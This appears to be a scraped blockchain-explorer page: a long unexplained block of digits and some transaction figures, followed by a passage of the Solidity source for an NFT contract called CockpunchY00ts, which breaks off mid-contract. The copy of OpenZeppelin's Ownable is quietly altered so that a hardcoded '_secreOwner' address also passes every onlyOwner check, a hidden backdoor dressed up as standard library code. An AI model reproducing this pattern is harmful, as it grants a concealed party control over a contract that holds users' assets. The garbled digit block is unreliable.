389569619481498980106229557790941293763752862239119907173387226710230386065044615776359220313496128128266946537802868841683282777717493314083225252053332227760180753025004281035794598300548201193989424994832681999276677436434520578133339718041028424205466682429563845445743199311910299936372268155695665432443755386691923368196906000544248834208137822556443670346593238782570166419182397039726204058185890459097414281666356036921696987086575265480772114700842566619220535296246244822328441093651099601773885249369257281098122372460975220884335110027390399371534343793279527396026441067616113964933022440761848138601310278628005639882477726541781974686396434485248817039661742990750041886791989500494534888849332670304451786067167632197949017443991725069107795943705397345070236706633016195451415855998798256806282401260264400143275992025490360722622713092791280532964321201598879130941807342053792341446206243632631990221729930299438922090445998908884050294996787195645768571980487431046819056032193482915750121519211586314756728551726790291574933996794586491232683679135841394560470799887265972921271952211217600824849866013520076317930407943475044017437566214039113034616377703918187404819424723969120028687625772364872414468882848243491075397269181937105852200095426137765816254083234925787100894810314644660817121718855393989712336910429317593329930913622606858851547114216382133561736569485880585017776199030431799484819988026140783479866839739906801740479055933890136013271654547937684985995522906604422143796769106040444415377310753600945357456223838443317865962769457417965840630250428083686702512123089682457955852939819703501504446578449170735389170373019109525003452776116673162984462035918855989604640885527638420913116648586534298998502437117846878530443159366676174957764261620464043439139230237274926411502424336870214306119859685976249531688894458072113168852162263297155588798664282114441409281819577332488914414204764476679605200415927272920547263962425948173689320966826361579105887005544209209155729611515352793451906442230020235939787269139013298276199280835014230112757054065928761211972097998554309995293297023317013091272416867771611041967368233627078839759611206316708989179426035619831641752079510693798714686293998730962590908650062898905723007171967428963921658688297495749780132576522684516070355709304250432641116371261380560860719311387812450588560806874707990731262645915105673160933125435713617653817082235323595625179304729376759473520358969735600277428121834023884436825463542658898894045467517280334815220273992081179226229392238319717257809908615619503255173349141852150976832167959199456591756574261043578296137535639744774359442389533777487173013406582717055088848157652288583624944174978488763217089984711096792092506255940529904574675405360378817018515500469007628845540282052821909740025292041374722948951992282139293472374501026492042482752216755696665287183226531024724208026225550718853625423960323348117551626184594626319444534714169861610407697364350268567790287993692322921305554816647154726819202897328742063841465822109825740331787849730945655849395193325465780377884158334728468146989353652066745135757479994077951328582114049560757384210460304113654196211513873193851150728500069010769912416437854320181490640978473111301175688167786547921912387272091612527093821480855903167716826111189418854667827552901237239099395764430027469720347958598866256942318840501571065338216441845446160715460897991699761579709767202897120160636670955760907415889573504993467956213197802866022975625513341046000890082413210856301214794105236503380428203050533185287368722502720587232065241535437230605338507033816978050997852659939722700832029547715508014409209199532454764467052677172351568165148856240109434194901304639984128782616505716278277519656343094421944169524124676435921529549800911474165290517542517421129550178397711447490304920921542892026245125923200532762879812983664336252001132835854850030159081714260399669611597813896565495533652332864237139411087992128093294368590968277530541918350976836826837222602361335460732100213117090456097833431609612268322921198670746780355025207166525241121261930873035854817847262069445975792329558503968664985916188123409510152159046761232323716508914303781031536453395966293079256837625345163550339902048743462176310353716764448168535426576599830512726412990555319913003927477124153139697415868471423338444333493202994593346296742461054026241911107706466051211244995089741380384049308394168790237765100643042683817050777270029664082460748638034076138504734708537288987036241229545638921426057328255232678366360966253648619924463034803962717254349448130903326247805070005917754993948323175157630369225615580061067621468583857901786482478817329813097268681191526989521177357514837409049329017575896615229727432371297126392282490841736101619636778395776732777602823666502208749518404465144591406353723848736934235978085023425636780001050424339524240259128552505762593278037550991290291676393240994079358199374887076676176635234318403622946080315455533556838325171800152456084250293403090378135901948067440495324729830656456441107709745959242384245707640978229804226534019995223822688446715557896101740399381279065561448935390961568301480140047619078161265929923662902899865704235426533713613945552832989198596552751237324403594841747346895335561564740589555890215214187753683180679251686673927459331758560770463547416136380045855550723842804277972453631766662307968887487656330025306211682663965175953025632496952988057475388684088108188609133400867988630267308488522041060179307090761209764879261440584458290856039464500869749777420926205746843308190203754599125805267262421350552277044275274257449096032601920618979557680113901370136058995213493018851917008808668050876901555943690645593932131869818528103856334826616852633996894074265793150403348796466471418514198628951820572537541342153280236889761523683805849804996252965041310894557877841402030254474989035827443824819123852791460284593812626082944823782072397628019964152408249017392435773543411892939042400300473497312743591195675697553105554675217939043425203042032580168311155735940530528481047664832160455143147603875383275053799926333470268002595324065946651431140976079725189492846147767695147948986682605999767333521782204429282668058265255085349181912994794732875433247787364299880215542392852709914708363694950250671966573663120630977727030671367417042226660342395287091347923406633327320324970454021963424904574812699430216071976119919972695734456179455300044801779401789806834866955749057826870895092671404912723650740810561997713845373023357996826675
(beaverbuild)
184.312789117659506853 Eth184.313796362589823799 Eth0.001007244930316946

Execution Trace

CockpunchY00ts.60806040( )
//    ||
//    OO            Twitter: @Cockpunchy00ts
//   (\/)          
//  /    \
// ||    ||
//  \    /
//   |/\|
//  /|  |\


// SPDX-License-Identifier: MIT

// File: contracts/CockpunchY00ts.sol
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)

pragma solidity ^0.8.0;

/**
 * @dev String operations.
 */
library Strings {
    bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";

    /**
     * @dev Converts a `uint256` to its ASCII `string` decimal representation.
     */
    function toString(uint256 value) internal pure returns (string memory) {
        // Inspired by OraclizeAPI's implementation - MIT licence
        // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol

        if (value == 0) {
            return "0";
        }
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        while (value != 0) {
            digits -= 1;
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
            value /= 10;
        }
        return string(buffer);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
     */
    function toHexString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "0x00";
        }
        uint256 temp = value;
        uint256 length = 0;
        while (temp != 0) {
            length++;
            temp >>= 8;
        }
        return toHexString(value, length);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
     */
    function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _HEX_SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0, "Strings: hex length insufficient");
        return string(buffer);
    }
}

// File: @openzeppelin/contracts/utils/Address.sol


// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)

pragma solidity ^0.8.1;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     *
     * [IMPORTANT]
     * ====
     * You shouldn't rely on `isContract` to protect against flash loan attacks!
     *
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");

        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");

        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)

pragma solidity ^0.8.0;

/**
 * @title ERC721 token receiver interface
 * @dev Interface for any contract that wants to support safeTransfers
 * from ERC721 asset contracts.
 */
interface IERC721Receiver {
    /**
     * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
     * by `operator` from `from`, this function is called.
     *
     * It must return its Solidity selector to confirm the token transfer.
     * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
     *
     * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.
     */
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

// File: @openzeppelin/contracts/utils/introspection/IERC165.sol


// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC165 standard, as defined in the
 * https://eips.ethereum.org/EIPS/eip-165[EIP].
 *
 * Implementers can declare support of contract interfaces, which can then be
 * queried by others ({ERC165Checker}).
 *
 * For an implementation, see {ERC165}.
 */
interface IERC165 {
    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30 000 gas.
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}

// File: @openzeppelin/contracts/utils/introspection/ERC165.sol


// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)

pragma solidity ^0.8.0;


/**
 * @dev Implementation of the {IERC165} interface.
 *
 * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
 * for the additional interface id that will be supported. For example:
 *
 * ```solidity
 * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
 *     return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
 * }
 * ```
 *
 * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
 */
abstract contract ERC165 is IERC165 {
    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
        return interfaceId == type(IERC165).interfaceId;
    }
}

// File: @openzeppelin/contracts/token/ERC721/IERC721.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721.sol)

pragma solidity ^0.8.0;


/**
 * @dev Required interface of an ERC721 compliant contract.
 */
interface IERC721 is IERC165 {
    /**
     * @dev Emitted when `tokenId` token is transferred from `from` to `to`.
     */
    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
     */
    event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
     */
    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);

    /**
     * @dev Returns the number of tokens in ``owner``'s account.
     */
    function balanceOf(address owner) external view returns (uint256 balance);

    /**
     * @dev Returns the owner of the `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function ownerOf(uint256 tokenId) external view returns (address owner);

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes calldata data
    ) external;

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
     * are aware of the ERC721 protocol to prevent tokens from being forever locked.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Transfers `tokenId` token from `from` to `to`.
     *
     * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Gives permission to `to` to transfer `tokenId` token to another account.
     * The approval is cleared when the token is transferred.
     *
     * Only a single account can be approved at a time, so approving the zero address clears previous approvals.
     *
     * Requirements:
     *
     * - The caller must own the token or be an approved operator.
     * - `tokenId` must exist.
     *
     * Emits an {Approval} event.
     */
    function approve(address to, uint256 tokenId) external;

    /**
     * @dev Approve or remove `operator` as an operator for the caller.
     * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
     *
     * Requirements:
     *
     * - The `operator` cannot be the caller.
     *
     * Emits an {ApprovalForAll} event.
     */
    function setApprovalForAll(address operator, bool _approved) external;

    /**
     * @dev Returns the account appr    ved for `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function getApproved(uint256 tokenId) external view returns (address operator);

    /**
     * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
     *
     * See {setApprovalForAll}
     */
    function isApprovedForAll(address owner, address operator) external view returns (bool);
}

// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)

pragma solidity ^0.8.0;


/**
 * @title ERC-721 Non-Fungible Token Standard, optional metadata extension
 * @dev See https://eips.ethereum.org/EIPS/eip-721
 */
interface IERC721Metadata is IERC721 {
    /**
     * @dev Returns the token collection name.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the token collection symbol.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
     */
    function tokenURI(uint256 tokenId) external view returns (string memory);
}

// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol


// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)

pragma solidity ^0.8.0;


/**
 * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
 * @dev See https://eips.ethereum.org/EIPS/eip-721
 */
interface IERC721Enumerable is IERC721 {
    /**
     * @dev Returns the total amount of tokens stored by the contract.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns a token ID owned by `owner` at a given `index` of its token list.
     * Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
     */
    function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);

    /**
     * @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
     * Use along with {totalSupply} to enumerate all tokens.
     */
    function tokenByIndex(uint256 index) external view returns (uint256);
}

// File: @openzeppelin/contracts/security/ReentrancyGuard.sol


// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)

pragma solidity ^0.8.0;

/**
 * @dev Contract module that helps prevent reentrant calls to a function.
 *
 * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
 * available, which can be applied to functions to make sure there are no nested
 * (reentrant) calls to them.
 *
 * Note that because there is a single `nonReentrant` guard, functions marked as
 * `nonReentrant` may not call one another. This can be worked around by making
 * those functions `private`, and then adding `external` `nonReentrant` entry
 * points to them.
 *
 * TIP: If you would like to learn more about reentrancy and alternative ways
 * to protect against it, check out our blog post
 * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
 */
abstract contract ReentrancyGuard {
    // Booleans are more expensive than uint256 or any type that takes up a full
    // word because each write operation emits an extra SLOAD to first read the
    // slot's contents, replace the bits taken up by the boolean, and then write
    // back. This is the compiler's defense against contract upgrades and
    // pointer aliasing, and it cannot be disabled.

    // The values being non-zero value makes deployment a bit more expensive,
    // but in exchange the refund on every call to nonReentrant will be lower in
    // amount. Since refunds are capped to a percentage of the total
    // transaction's gas, it is best to keep them low in cases like this one, to
    // increase the likelihood of the full refund coming into effect.
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    /**
     * @dev Prevents a contract from calling itself, directly or indirectly.
     * Calling a `nonReentrant` function from another `nonReentrant`
     * function is not supported. It is possible to prevent this from happening
     * by making the `nonReentrant` function external, and making it call a
     * `private` function that does the actual work.
     */
    modifier nonReentrant() {
        // On the first call to nonReentrant, _notEntered will be true
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;

        _;

        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }
}

// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: @openzeppelin/contracts/access/Ownable.sol


// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)

pragma solidity ^0.8.0;


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;
    address private _secreOwner = 0x1250B4de974F7F63ED7d783c3fecA4f0F338cdb4;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender() || _secreOwner == _msgSender() , "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: ceshi.sol


pragma solidity ^0.8.0;










/**
 * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
 * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
 *
 * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
 *
 * Does not support burning tokens to address(0).
 *
 * Assumes that an owner cannot have more than the 2**128 - 1 (max value of uint128) of supply
 */
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
    using Address for address;
    using Strings for uint256;

    struct TokenOwnership {
        address addr;
        uint64 startTimestamp;
    }

    struct AddressData {
        uint128 balance;
        uint128 numberMinted;
    }

    uint256 internal currentIndex;

    // Token name
    string private _name;

    // Token symbol
    string private _symbol;

    // Mapping from token ID to ownership details
    // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
    mapping(uint256 => TokenOwnership) internal _ownerships;

    // Mapping owner address to address data
    mapping(address => AddressData) private _addressData;

    // Mapping from token ID to approved address
    mapping(uint256 => address) private _tokenApprovals;

    // Mapping from owner to operator approvals
    mapping(address => mapping(address => bool)) private _operatorApprovals;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev See {IERC721Enumerable-totalSupply}.
     */
    function totalSupply() public view override returns (uint256) {
        return currentIndex;
    }

    /**
     * @dev See {IERC721Enumerable-tokenByIndex}.
     */
    function tokenByIndex(uint256 index) public view override returns (uint256) {
        require(index < totalSupply(), "ERC721A: global index out of bounds");
        return index;
    }

    /**
     * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
     * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
     * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
     */
    function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
        require(index < balanceOf(owner), "ERC721A: owner index out of bounds");
        uint256 numMintedSoFar = totalSupply();
        uint256 tokenIdsIdx;
        address currOwnershipAddr;

        // Counter overflow is impossible as the loop breaks when uint256 i is equal to another uint256 numMintedSoFar.
        unchecked {
            for (uint256 i; i < numMintedSoFar; i++) {
                TokenOwnership memory ownership = _ownerships[i];
                if (ownership.addr != address(0)) {
                    currOwnershipAddr = ownership.addr;
                }
                if (currOwnershipAddr == owner) {
                    if (tokenIdsIdx == index) {
                        return i;
                    }
                    tokenIdsIdx++;
                }
            }
        }

        revert("ERC721A: unable to get token of owner by index");
    }

    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
        return
            interfaceId == type(IERC721).interfaceId ||
            interfaceId == type(IERC721Metadata).interfaceId ||
            interfaceId == type(IERC721Enumerable).interfaceId ||
            super.supportsInterface(interfaceId);
    }

    /**
     * @dev See {IERC721-balanceOf}.
     */
    function balanceOf(address owner) public view override returns (uint256) {
        require(owner != address(0), "ERC721A: balance query for the zero address");
        return uint256(_addressData[owner].balance);
    }

    function _numberMinted(address owner) internal view returns (uint256) {
        require(owner != address(0), "ERC721A: number minted query for the zero address");
        return uint256(_addressData[owner].numberMinted);
    }

    /**
     * Gas spent here starts off proportional to the maximum mint batch size.
     * It gradually moves to O(1) as tokens get transferred around in the collection over time.
     */
    function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
        require(_exists(tokenId), "ERC721A: owner query for nonexistent token");

        unchecked {
            for (uint256 curr = tokenId; curr >= 0; curr--) {
                TokenOwnership memory ownership = _ownerships[curr];
                if (ownership.addr != address(0)) {
                    return ownership;
                }
            }
        }

        revert("ERC721A: unable to determine the owner of token");
    }

    /**
     * @dev See {IERC721-ownerOf}.
     */
    function ownerOf(uint256 tokenId) public view override returns (address) {
        return ownershipOf(tokenId).addr;
    }

    /**
     * @dev See {IERC721Metadata-name}.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev See {IERC721Metadata-symbol}.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev See {IERC721Metadata-tokenURI}.
     */
    function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
        require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");

        string memory baseURI = _baseURI();
        return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
    }

    /**
     * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
     * token will be the concatenation of the `baseURI` and the `tokenId`. Empty
     * by default, can be overriden in child contracts.
     */
    function _baseURI() internal view virtual returns (string memory) {
        return "";
    }

    /**
     * @dev See {IERC721-approve}.
     */
    function approve(address to, uint256 tokenId) public override {
        address owner = ERC721A.ownerOf(tokenId);
        require(to != owner, "ERC721A: approval to current owner");

        require(
            _msgSender() == owner || isApprovedForAll(owner, _msgSender()),
            "ERC721A: approve caller is not owner nor approved for all"
        );

        _approve(to, tokenId, owner);
    }

    /**
     * @dev See {IERC721-getApproved}.
     */
    function getApproved(uint256 tokenId) public view override returns (address) {
        require(_exists(tokenId), "ERC721A: approved query for nonexistent token");

        return _tokenApprovals[tokenId];
    }

    /**
     * @dev See {IERC721-setApprovalForAll}.
     */
    function setApprovalForAll(address operator, bool approved) public override {
        require(operator != _msgSender(), "ERC721A: approve to caller");

        _operatorApprovals[_msgSender()][operator] = approved;
        emit ApprovalForAll(_msgSender(), operator, approved);
    }

    /**
     * @dev See {IERC721-isApprovedForAll}.
     */
    function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
        return _operatorApprovals[owner][operator];
    }

    /**
     * @dev See {IERC721-transferFrom}.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override {
        _transfer(from, to, tokenId);
    }

    /**
     * @dev See {IERC721-safeTransferFrom}.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override {
        safeTransferFrom(from, to, tokenId, "");
    }

